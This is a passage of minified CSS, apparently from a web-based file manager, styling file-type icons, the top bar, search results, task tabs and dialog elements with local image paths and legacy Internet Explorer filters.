\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');}.x-folder_share{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-recycle{background-image:url("../../../images/file_icon/icon_others/recycle.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');}.x-recycle_full{background-image:url("../../../images/file_icon/icon_others/recycle_full.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');}.x-path_self_share{background-image:url("../../../images/file_icon/icon_others/path_self_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');}.x-app_link{background-image:url("../../../images/file_icon/icon_others/app_link.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');}.x-user{background-image:url("../../../images/file_icon/icon_others/user.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');}.x-userSelf{background-image:url("../../../images/file_icon/icon_others/userSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');}.x-share{background-image:url("../../../images/file_icon/icon_others/share.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');}.x-groupSelf{background-image:url("../../../images/file_icon/icon_others/groupSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');}.x-groupSelfOwner{background-image:url("../../../images/file_icon/icon_others/groupSelfOwner.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');}.x-groupGuest{background-image:url("../../../images/file_icon/icon_others/groupGuest.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');}.x-groupSelfRoot{background-image:url("../../../images/file_icon/icon_others/groupSelfRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');}.x-groupRoot{background-image:url("../../../images/file_icon/icon_others/groupRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');}.x-groupPublic{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-treeSelf{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-computer{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-treeFav{background-image:url("../../../images/file_icon/icon_others/treeFav.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');}.x-edit{background-image:url("../../../images/file_icon/icon_others/edit.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');}.x-search{background-image:url("../../../images/file_icon/icon_others/search.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');}.x-upload{background-image:url("../../../images/file_icon/icon_others/upload.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');}.x-setting{background-image:url("../../../images/file_icon/icon_others/setting.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');}.x-appStore{background-image:url("../../../images/file_icon/icon_others/appStore.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');}.x-error{background-image:url("../../../images/file_icon/icon_others/error.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');}.x-info{background-image:url("../../../images/file_icon/icon_others/info.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');}body{font-size:12px;padding:0px;margin:0px;font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}textarea,input,button,pre,p,.can_select{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}blockquote{padding:10px 20px;margin:0 0 20px 1em;border-left:10px solid #eee;background:#f6f6f6;}blockquote p{font-size:1em;margin:0px;}input,button,select,textarea{line-height:initial;}a{text-decoration:none;}a:focus{outline:none !important;}.content_box .ace_cjk{width:1em !important;}.content_box .ace_static_highlight{font-size:1.15em;}*,*:before,*:after{-webkit-box-sizing:inherit;-moz-box-sizing:inherit;box-sizing:inherit;}label{font-weight:normal;}pre{border:none;border-radius:0;}.btn-group-sm>.btn{padding:4px 10px;line-height:1em;}.btn{padding:6px 14px;border-radius:3px;}.btn .font-icon{color:#999;}.btn:focus{outline:none;}.btn.btn-default:active,.btn.btn-default.active{border-color:#ADADAD;color:#888;}.btn.btn-left{border-top-right-radius:0;border-bottom-right-radius:0;}.btn.btn-middle{border-radius:0;}.btn.btn-right{border-top-left-radius:0;border-bottom-left-radius:0;}.btn.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;}.btn.btn-nomal{padding:4px 12px;}.btn.btn-sm{padding:2px 10px;}.btn.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;}[class^="icon-"],[class*=" icon-"]{background-image:auto;}.dropdown-menu{left:auto;right:0px;border-radius:4px;border:1px solid rgba(0,0,0,0.05);box-shadow:0 4px 30px rgba(0,0,0,0.15);max-height:400px;}.dropdown-menu>li>a:hover,.dropdown-menu .this a,.dropdown-menu>li>a:focus{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;background-image:none;filter:none;background:#63acff;color:#fff;}.dropdown-menu>li>a{font-weight:inherit;color:#666;}.dropdown-menu>li>a .font-icon{opacity:0.8;}.dropdown-menu:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);border-right:6px solid rgba(0,0,0,0);border-bottom:6px solid #FFF;position:absolute;top:-6px;right:10px;}.dropdown-menu:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);top:-7px;border-bottom:7px solid #CCC;border-bottom-color:rgba(0,0,0,0.2);right:9px;}.dropdown-menu.menu-top:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);top:inherit;border-right:6px solid rgba(0,0,0,0);border-top:6px solid #FFF;border-bottom:none;position:absolute;bottom:-6px;right:10px;}.dropdown-menu.menu-top:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-bottom:none;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);bottom:-7px;border-top:7px solid #CCC;border-top-color:rgba(0,0,0,0.2);right:9px;top:inherit;}.disable,.disabled{cursor:not-allowed;pointer-events:none;}h1,h2,h3,h4,h5,.h1,.h2,.h3,.h4,.h5{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;}.can_select,.can_select *{-khtml-user-select:text !important;-webkit-user-select:text !important;-moz-user-select:text !important;-ms-user-select:text !important;-o-user-select:text !important;user-select:text !important;}.can_not_select,.can_not_select *{-khtml-user-select:none !important;-webkit-user-select:none !important;-moz-user-select:none !important;-ms-user-select:none !important;-o-user-select:none !important;user-select:none !important;}.pl-5{padding-left:5px;}.pl-10{padding-left:10px;}.pl-15{padding-left:15px;}.pl-20{padding-left:20px;}.pr-5{padding-right:5px;}.pr-10{padding-right:10px;}.pr-15{padding-right:15px;}.pr-20{padding-right:20px;}.ml-5{margin-left:5px;}.ml-10{margin-left:10px;}.ml-15{margin-left:15px;}.ml-20{margin-left:20px;}.mr-5{margin-right:5px;}.mr-10{margin-right:10px;}.mr-15{margin-right:15px;}.mr-20{margin-right:20px;}.fl{float:left;}.fl-left{float:left;}.fl-right{float:right;}.clear{clear:both;}.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.translation-fast{-webkit-transition:all 0.168s ease-in-out;-moz-transition:all 0.168s ease-in-out;-o-transition:all 0.168s ease-in-out;-ms-transition:all 0.168s ease-in-out;transition:all 0.168s ease-in-out;}.translation-nomal{-webkit-transition:all 0.25s ease-in-out;-moz-transition:all 0.25s ease-in-out;-o-transition:all 0.25s ease-in-out;-ms-transition:all 0.25s ease-in-out;transition:all 0.25s ease-in-out;}.translation-slow{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-200{-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.translation-300{-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;-o-transition:all 0.3s ease-in-out;-ms-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out;}.translation-500{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-1000{-webkit-transition:all 1.0s ease-in-out;-moz-transition:all 1.0s ease-in-out;-o-transition:all 1.0s ease-in-out;-ms-transition:all 1.0s ease-in-out;transition:all 1.0s ease-in-out;}.aui_buttons button{font-size:1em;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dialogChangeMax,.dialogChangeMax .aui_main{-webkit-transition:all 0.25s;-moz-transition:all 0.25s;-o-transition:all 0.25s;-ms-transition:all 0.25s;transition:all 0.25s;}.aui_title span{position:absolute;width:80%;overflow:hidden;height:30px;word-break:break-all;text-overflow:ellipsis;white-space:nowrap;}.less-error-message{display:none;}input{border:1px solid #ddd;background:#fff;outline:none;}input[type="radio"],input[type="checkbox"]{border:none;background:none;}.topbar{width:100%;height:40px;color:#ddd;z-index:100;top:0;background:#63acff;position:fixed;}.topbar .content{padding:0px;line-height:40px;height:40px;wordbreak:break-all;}.topbar .content i.font-icon{display:inline-block;padding-right:10px;font-size:1.1em;}.topbar .content .topbar_menu{display:block;text-decoration:none;color:#fff;border:1px solid #4a9eff;overflow:hidden;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;padding:0px 1.2em;border-top:none;border-bottom:none;outline:none;float:left;margin-left:-1px;font-size:14px;}.topbar .content .topbar_menu.title{font-size:20px;width:200px;width:202px\0;padding:0;text-align:center;}.topbar .content .topbar_menu.title:hover{background:none;}.topbar .content .title img{max-width:200px;max-height:44px;}.topbar .content .open .topbar_menu,.topbar .content .topbar_menu:hover,.topbar .content .topbar_menu.this{background:#4a9eff;}.topbar .content .menu-desktop:before{content:"\f108";}.topbar .content .menu-explorer:before{content:"\f0ae";}.topbar .content .menu-editor:before{content:"\f044";}.topbar .content .top_left{overflow:hidden;height:40px;width:70%;}.topbar .content .top_right{position:absolute;right:0px;top:0px;margin-right:0px;height:40px;}.topbar .content .top_right .menu_group{height:40px;margin-right:-1px;float:left;position:relative;}.topbar .content .top_right .topbar_menu{display:inline-block;padding:0px 6px;margin-right:1px;}.topbar .content .top_right .topbar_menu i{padding-right:3px;}.topbar .content .top_right .btn{color:#fff;}.topbar .content .top_right ul a{line-height:30px;height:30px;display:block;padding:0px 1.7em;border:none;overflow:hidden;}.topbar .content .top_right ul a:hover,.topbar .content .top_right ul a.this{margin-right:0px;}.topbar .content .top_right ul a.this{background:#63acff;color:#fff;}.topbar .content .top_right ul .font-icon{width:18px;display:inline-block;}.topbar .content .top_right ul.dropdown-menu.topbar_language{width:480px;padding:10px 5px;}.topbar .content .top_right ul.dropdown-menu.topbar_language li{width:115px;float:left;}.topbar .content .top_right ul.dropdown-menu.topbar_language a{padding:0 8px 0 8px;height:26px;line-height:26px;font-size:13px;}.topbar .content .top_right ul.dropdown-menu.topbar_language i.flag{padding-right:0px;background-color:#eee;position:relative;top:1px;}.topbar .content .share_title{text-align:center;color:#fff;float:left;margin-left:8px;margin-right:7px;}.topbar .content .share_title_info{color:#fff;font-size:1.25em;background:#eee;background:rgba(0,0,0,0.2);border-radius:4px;padding:6px;}.topbar .content .share_info{color:#fff;float:left;font-size:1em;}.topbar .content .share_info .time{padding-left:5px;color:#fff;padding-right:8px;}.topbar .content .top_right div.share_info_user{margin-right:10px;color:#fff;position:relative;}.topbar .content .top_right div.share_info_user .btn_download,.topbar .content .top_right div.share_info_user .btn.button_my_share{padding:4px 20px;margin-left:5px;}.topbar .content .top_right div.share_info_user .dropdown-toggle{height:16px;}.common_footer{position:fixed;bottom:0px;background:#f8f8f8;color:#999;font-size:1em;width:100%;text-align:center;border-top:1px solid #e8e8e8;height:31px;line-height:32px;overflow:hidden;}.common_footer .copyright_bottom{cursor:pointer;font-size:1.25em;color:#aaa;text-decoration:none;}.common_footer .copyright_bottom:hover{color:#f60;border-bottom:none;}.label{font-weight:400;font-size:1em;}.label.label-blue-deep{background:#1b63ab;color:#fff;}.label.label-blue-nomal{background:#39f;color:#fff;}.label.label-blue-light{background:#d4e9ff;color:#39f;}.label.label-grey-deep{background:#464c5b;color:#fff;}.label.label-grey-nomal{background:#657180;color:#fff;}.label.label-grey-light{background:#9ea7b4;color:#fff;}.label.label-yellow-deep{background:#ff9900;color:#fff;}.label.label-yellow-nomal{background:#ffc267;color:#fff;}.label.label-yellow-light{background:#ffe2b6;color:#ff9900;}.label.label-green-deep{background:#068c49;color:#fff;}.label.label-green-nomal{background:#00cc66;color:#fff;}.label.label-green-light{background:#beffde;color:#068c49;}.do_search{color:#888;}.do_search .search_header{padding:10px;padding-bottom:0px;}.do_search .search_header input[type='checkbox']{padding-left:0px;}.do_search .search_header label{font-size:1em;}.do_search .search_header .btn-right{margin:-5px 0 0 -2px;height:25px;width:30px;padding:0;height:28px \9\0;}.do_search .search_header .s_br{margin-bottom:8px;line-height:25px;}.do_search .search_header #search_value,.do_search .search_header #search_path,.do_search .search_header #search_ext{height:23px;height:27px \0;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:125px;padding-left:10px;padding-right:10px;margin-left:5px;}.do_search .search_header #search_value:focus,.do_search .search_header #search_path:focus,.do_search .search_header #search_ext:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.do_search .search_header #search_value{width:190px;margin:0;padding:2px 5px 0px 5px;padding-top:1px \0;}.do_search #search_is_case{margin-left:10px;}.do_search .search_desc{height:30px;line-height:30px;text-align:center;font-size:13px;margin:0px 10px;border:1px solid #ddd;color:#3196e6;background-image:-webkit-linear-gradient(top,#fff,#def);border-top-left-radius:3px;border-top-right-radius:3px;}.do_search .search_result{overflow-y:auto;overflow-x:hidden;position:absolute;top:137px;bottom:0px;right:0px;left:0px;margin:10px;border:1px solid #ddd;border-top:none;border-bottom-left-radius:3px;border-bottom-right-radius:3px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-items{list-style:none;margin:0px;padding:10px 0;font-size:13px;}.do_search .search_result .file-item .file-info{height:25px;line-height:25px;cursor:default;padding-left:10px;font-size:13px;color:#444;position:relative;word-wrap:break-word;word-break:break-all;overflow:hidden;}.do_search .search_result .file-item .file-info:hover{background:#eee;}.do_search .search_result .file-item .file-info .title{height:25px;color:#666;padding-left:5px;}.do_search .search_result .file-item .file-info .title:hover{border-bottom:1px solid #1387bb;cursor:pointer;color:#1387bb;}.do_search .search_result .file-item .file-info .switch{width:20px;height:20px;display:inline-block;text-align:center;color:#aaa;font-size:14px;}.do_search .search_result .file-item .file-info .file-icon{display:inline-block;width:18px;height:18px;}.do_search .search_result .file-item .file-info .file-icon img{width:100%;height:100%;}.do_search .search_result .file-item .file-info .result-num{margin:0 5px;border-radius:10px;background-color:#dfeaf3;color:#666;font-size:12px;padding:3px 8px;font-weight:bold;}.do_search .search_result .file-item .file-info .goto{position:absolute;right:0;top:0;width:30px;height:25px;line-height:25px;text-align:center;color:#bbb;background:#fff;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-item .file-info .goto:hover{background:#fbbc00;color:#fff;}.do_search .search_result .file-item .file-info:hover .goto{display:block;}.do_search .search_result .file-item .keyword{background:#ffef65;color:#000;}.do_search .search_result .file-item .result-item{list-style:none;margin:0px;padding:0px;}.do_search .search_result .file-item .result-item .result-info{height:25px;margin:0px;padding:0;line-height:25px;padding:0 15px;cursor:default;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;}.do_search .search_result .file-item .result-item .result-info:hover{background:#eee;}.do_search .search_result .file-item .result-item .result-info.this,.do_search .search_result .file-item .result-item .result-info.this:hover{background:#63acff;}.do_search .search_result .file-item .result-item .result-info.this .line,.do_search .search_result .file-item .result-item .result-info.this .search-info,.do_search .search_result .file-item .result-item .result-info.this:hover .line,.do_search .search_result .file-item .result-item .result-info.this:hover .search-info{color:#fff;}.do_search .search_result .file-item .result-item .line{display:inline-block;width:32px;margin-left:7px;padding-right:4px;text-align:right;font-weight:800;color:#aaa;}.do_search .search_result .file-item .result-item .search-info{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;color:#444;}.do_search .search_result .file-item.open .file-info .switch .icon-caret-right:before{content:"\f0d7";}#maskViewContent .upload-tips{text-align:center;}#maskViewContent .upload-tips .icon-cloud{opacity:0.8;}#maskViewContent .upload-tips .icon-cloud.cloud2{font-size:180px;}#maskViewContent .upload-tips .icon-cloud.cloud1,#maskViewContent .upload-tips .icon-cloud.cloud3{position:absolute;opacity:0.6;}#maskViewContent .upload-tips .icon-cloud.cloud1{margin-left:-60px;margin-top:110px;-webkit-animation:moveLeftLoop 8.0s infinite ease-in-out;animation:moveLeftLoop 8.0s infinite ease-in-out;}#maskViewContent .upload-tips .icon-cloud.cloud3{margin-left:-50px;margin-top:60px;font-size:60px;animation-delay:4s;-webkit-animation-delay:4s;-webkit-animation:moveLeftLoop 10.0s infinite ease-in-out;animation:moveLeftLoop 10.0s infinite ease-in-out;}#maskViewContent .upload-tips .cloud-moveup{height:70px;}#maskViewContent .upload-tips .cloud-moveup i{position:absolute;margin-left:-23px;margin-top:-16px;}.task_tab{position:fixed;bottom:1px;left:0;width:100%;height:30px;padding-left:50px;z-index:100;background:rgba(0,0,0,0.1);border-top:1px solid rgba(0,0,0,0.15);color:#444;}.task_tab .tabs{height:100%;margin-right:20px;margin-right:60px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.task_tab .tabs .tab{float:left;height:29px;margin-right:2px;white-space:nowrap;text-overflow:ellipsis;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;color:#fff;border-radius:3px;cursor:default;overflow:hidden;font-size:1em;box-shadow:0 0 6px #666;padding-left:4px;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.3)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.3),rgba(255,255,255,0));-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.task_tab .tabs .tab.hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.5),rgba(255,255,255,0));}.task_tab .tabs .tab.this{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.7)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.7),rgba(255,255,255,0));box-shadow:0 0 6px #000;}.tasktab-dragging{position:fixed;position:absolute;z-index:99999;height:30px;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0 0 3px #000;box-shadow:0 0 6px #000;padding-left:4px;white-space:nowrap;text-overflow:ellipsis;border-radius:3px;cursor:default;color:#fff;overflow:hidden;font-size:1em;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.8)', endColorstr='rgba(255,255,255,0.2)');background:rgba(255,255,255,0.2);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-o-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));-pie-background:linear-gradient(to top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));}.init_loading{position:fixed;left:50%;margin-left:-80px;top:40%;font-size:1.25em;z-index:999999;width:auto;}.init_loading div{padding:20px;background:#000;opacity:0.6;filter:alpha(opacity=60);margin:0 auto;color:#FFF;border-radius:6px;text-align:center;line-height:30px;}.init_loading img{border-radius:10px;}.space_info_bar{width:110px;}.space_info_bar .space_process{width:110px;height:6px;overflow:hidden;background-color:#ddd;margin:0px;border-radius:5px;}.space_info_bar .space_process .space_process_use{width:20%;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;height:100%;background-color:#428bca;border-radius:5px;}.space_info_bar .space_process .space_process_use.warning{background-color:#f00 !important;}.appbox{overflow:hidden;padding:0px 10px 0 0;}.appbox .appline{width:100%;margin-bottom:10px;line-height:20px;overflow:hidden;}.appbox .appline .left{float:left;width:80px;text-align:right;padding-right:14px;}.appbox .appline .right{float:left;}.appbox .appline input{margin-right:5px;}.appbox .appline label{display:inline-block;margin-left:-10px;padding:0 5px;}.appbox .appline input[type=text],.appbox .appline textarea{width:275px;padding:0px 